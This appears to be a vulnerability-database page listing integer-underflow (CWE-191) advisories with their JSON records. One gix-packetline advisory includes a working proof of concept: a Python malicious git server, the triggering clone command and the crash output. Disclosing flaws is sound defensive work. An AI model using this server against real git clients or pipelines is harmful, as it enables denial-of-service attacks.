Common Weakness Enumeration

CWE-191

Allowed

Integer Underflow (Wrap or Wraparound)

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

728 vulnerabilities reference this CWE, most recent first.

GHSA-2RXJ-VWP2-V63V

Vulnerability from github – Published: 2023-07-20 03:30 – Updated: 2024-04-04 06:17
VLAI
Details

Integer underflow in grub_net_recv_ip4_packets; A malicious crafted IP packet can lead to an integer underflow in grub_net_recv_ip4_packets() function on rsm->total_len value. Under certain circumstances the total_len value may end up wrapping around to a small integer number which will be used in memory allocation. If the attack succeeds in such way, subsequent operations can write past the end of the buffer.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-28733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-20T01:15:10Z",
    "severity": "HIGH"
  },
  "details": "Integer underflow in grub_net_recv_ip4_packets; A malicious crafted IP packet can lead to an integer underflow in grub_net_recv_ip4_packets() function on rsm-\u003etotal_len value. Under certain circumstances the total_len value may end up wrapping around to a small integer number which will be used in memory allocation. If the attack succeeds in such way, subsequent operations can write past the end of the buffer.",
  "id": "GHSA-2rxj-vwp2-v63v",
  "modified": "2024-04-04T06:17:28Z",
  "published": "2023-07-20T03:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28733"
    },
    {
      "type": "WEB",
      "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28733"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230825-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2022/06/07/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2VH6-HW4J-32WW

Vulnerability from github – Published: 2026-08-28 16:09 – Updated: 2026-08-28 16:09
VLAI
Summary
gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)
Details

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

  1. Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
  1. Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-packetline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:09:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.\n\n### Details\nIn `gix-packetline/src/lib.rs`, `impl From\u003c\u0026[u8]\u003e for TextRef` strips a trailing newline with `d[d.len() - 1]`:\nhttps://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199\nWhen `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.\n\n(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)\n\n### PoC\nConfirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.\n\n1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:\n\n```python\nimport socket\nHOST, PORT = \"127.0.0.1\", 9418\ndef pkt(d): return (\"%04x\" % (len(d)+4)).encode() + d\nFLUSH=b\"0000\"; OID=b\"1234567890123456789012345678901234567890\"\ndef handle(c):\n    c.recv(65536)\n    c.sendall(pkt(b\"version 2\\n\")+pkt(b\"agent=git/evil\\n\")+pkt(b\"ls-refs=unborn\\n\")\n              +pkt(b\"fetch=shallow wait-for-done\\n\")+pkt(b\"object-format=sha1\\n\")+FLUSH)\n    buf=b\"\"; sent=False\n    while True:\n        d=c.recv(65536)\n        if not d: return\n        buf+=d\n        if b\"command=ls-refs\" in buf and not sent:\n            c.sendall(pkt(OID+b\" HEAD symref-target:refs/heads/master\\n\")\n                      +pkt(OID+b\" refs/heads/master\\n\")+FLUSH); sent=True; buf=b\"\"; continue\n        if b\"command=fetch\" in buf and (buf.rstrip().endswith(b\"0000\") or b\"done\" in buf):\n            c.sendall(pkt(b\"packfile\\n\") + b\"0005\\x02\")   # band id 2, EMPTY payload\n            try: c.recv(4096)\n            except Exception: pass\n            return\ns=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((HOST,PORT)); s.listen(1); print(\"listening\",PORT)\nconn,_=s.accept(); conn.settimeout(5.0)\ntry: handle(conn)\nfinally: conn.close(); s.close()\n```\n\n2. Point the real client at it:\n```\nRUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out\n```\n\nObserved:\n```\nthread \u0027main\u0027 panicked at gix-packetline/src/lib.rs:199:20:\nindex out of bounds: the len is 0 but the index is 18446744073709551615\nexit code: 101\n```\n### Impact\nA pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.\n\n### Suggested fix\nGuard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b\"\\n\").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(\u0026b\u0027\\n\u0027)` before slicing.",
  "id": "GHSA-2vh6-hw4j-32ww",
  "modified": "2026-08-28T16:09:59Z",
  "published": "2026-08-28T16:09:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/pull/2638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)"
}

GHSA-2VQ7-8VVF-W66V

Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2025-03-28 12:31
VLAI
Details

Exim libspf2 Integer Underflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Exim libspf2. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the parsing of SPF macros. When parsing SPF macros, the process does not properly validate user-supplied data, which can result in an integer underflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-17578.

Severity
7.5 (High)
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-42118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:50Z",
    "severity": "HIGH"
  },
  "details": "Exim libspf2 Integer Underflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Exim libspf2. Authentication is not required to exploit this vulnerability. \n\nThe specific flaw exists within the parsing of SPF macros. When parsing SPF macros, the process does not properly validate user-supplied data, which can result in an integer underflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-17578.",
  "id": "GHSA-2vq7-8vvf-w66v",
  "modified": "2025-03-28T12:31:34Z",
  "published": "2024-05-03T03:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42118"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1472"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/28/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2VQF-9746-8H23

Vulnerability from github – Published: 2026-07-24 15:33 – Updated: 2026-07-24 21:32
VLAI
Details

Out-of-bounds Write, Integer Underflow (Wrap or Wraparound) vulnerability in Apache NimBLE BASS service. Improper validation when parsing BASS service  "Add Source" and "Modify Source" operation PDU could results in stack buffer overflow or arbitrary out-of-bound read.

This can be triggered by nearby devices over Bluetooth connection, however pairing is required prior to accessing BASS service, which depending on device configuration may or may not require user action.

This issue affects Apache NimBLE: through 1.9.0.

Users are recommended to upgrade to version 1.10.0, which fixes the issue.

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-45813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-24T13:18:24Z",
    "severity": "HIGH"
  },
  "details": "Out-of-bounds Write, Integer Underflow (Wrap or Wraparound) vulnerability in Apache NimBLE BASS service.\nImproper validation when parsing BASS service\u00a0 \"Add Source\" and \"Modify Source\" operation PDU could results in stack buffer overflow or arbitrary out-of-bound read.\n\n\nThis can be triggered by nearby devices over Bluetooth connection, however pairing is required prior to accessing BASS service, which depending on device configuration may or may not require user action.\n\nThis issue affects Apache NimBLE: through 1.9.0.\n\nUsers are recommended to upgrade to version 1.10.0, which fixes the issue.",
  "id": "GHSA-2vqf-9746-8h23",
  "modified": "2026-07-24T21:32:22Z",
  "published": "2026-07-24T15:33:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45813"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/mynewt-nimble/pull/2232"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/vc1ny73w243z5wr6t0y10gc6t2c9cytw"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/24/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WM2-CFR8-8VW9

Vulnerability from github – Published: 2022-04-29 02:58 – Updated: 2025-04-03 04:08
VLAI
Details

Integer underflow in pppd in cbcp.c for ppp 2.4.1 allows remote attackers to cause a denial of service (daemon crash) via a CBCP packet with an invalid length value that causes pppd to access an incorrect memory location.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2004-1002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-03-01T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Integer underflow in pppd in cbcp.c for ppp 2.4.1 allows remote attackers to cause a denial of service (daemon crash) via a CBCP packet with an invalid length value that causes pppd to access an incorrect memory location.",
  "id": "GHSA-2wm2-cfr8-8vw9",
  "modified": "2025-04-03T04:08:21Z",
  "published": "2022-04-29T02:58:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-1002"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/17874"
    },
    {
      "type": "WEB",
      "url": "https://www.ubuntu.com/usn/usn-12-1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/379450"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-32VX-68RR-3QV3

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

In Weidmueller Industrial WLAN devices in multiple versions an exploitable denial-of-service vulnerability exists in ServiceAgent functionality. A specially crafted packet can cause an integer underflow, triggering a large memcpy that will access unmapped or out-of-bounds memory. An attacker can send this packet while unauthenticated to trigger this vulnerability.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-33536"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-25T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Weidmueller Industrial WLAN devices in multiple versions an exploitable denial-of-service vulnerability exists in ServiceAgent functionality. A specially crafted packet can cause an integer underflow, triggering a large memcpy that will access unmapped or out-of-bounds memory. An attacker can send this packet while unauthenticated to trigger this vulnerability.",
  "id": "GHSA-32vx-68rr-3qv3",
  "modified": "2022-05-24T19:06:16Z",
  "published": "2022-05-24T19:06:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33536"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en-us/advisories/vde-2021-026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3384-2CR5-CQ96

Vulnerability from github – Published: 2026-07-15 00:31 – Updated: 2026-07-15 00:31
VLAI
Details

CAI Content Credentials is affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T22:17:01Z",
    "severity": "MODERATE"
  },
  "details": "CAI Content Credentials is affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-3384-2cr5-cq96",
  "modified": "2026-07-15T00:31:42Z",
  "published": "2026-07-15T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48298"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3542-2FJ4-6438

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

Fuji Electric V-Server 4.0.3.0 and prior, An integer underflow vulnerability has been identified, which may allow remote code execution.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-14817"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-26T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Fuji Electric V-Server 4.0.3.0 and prior, An integer underflow vulnerability has been identified, which may allow remote code execution.",
  "id": "GHSA-3542-2fj4-6438",
  "modified": "2022-05-13T01:34:25Z",
  "published": "2022-05-13T01:34:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14817"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-18-254-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105341"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3727-RQP8-9H64

Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30
VLAI
Details

Illustrator on iPad versions 3.0.9 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-61836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T18:15:42Z",
    "severity": "HIGH"
  },
  "details": "Illustrator on iPad versions 3.0.9 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-3727-rqp8-9h64",
  "modified": "2025-11-11T18:30:22Z",
  "published": "2025-11-11T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61836"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/illustrator-mobile-ios/apsb25-111.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-38XC-J7PW-37V9

Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2022-05-24 16:45
VLAI
Details

An issue was discovered in Suricata 4.1.x before 4.1.4. If the input of the function SSHParseBanner is composed only of a \n character, then the program runs into a heap-based buffer over-read. This occurs because the erroneous search for \r results in an integer underflow.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-10053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-13T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Suricata 4.1.x before 4.1.4. If the input of the function SSHParseBanner is composed only of a \\n character, then the program runs into a heap-based buffer over-read. This occurs because the erroneous search for \\r results in an integer underflow.",
  "id": "GHSA-38xc-j7pw-37v9",
  "modified": "2022-05-24T16:45:33Z",
  "published": "2022-05-24T16:45:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10053"
    },
    {
      "type": "WEB",
      "url": "https://lists.openinfosecfoundation.org/pipermail/oisf-announce"
    },
    {
      "type": "WEB",
      "url": "https://suricata-ids.org/2019/04/30/suricata-4-1-4-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list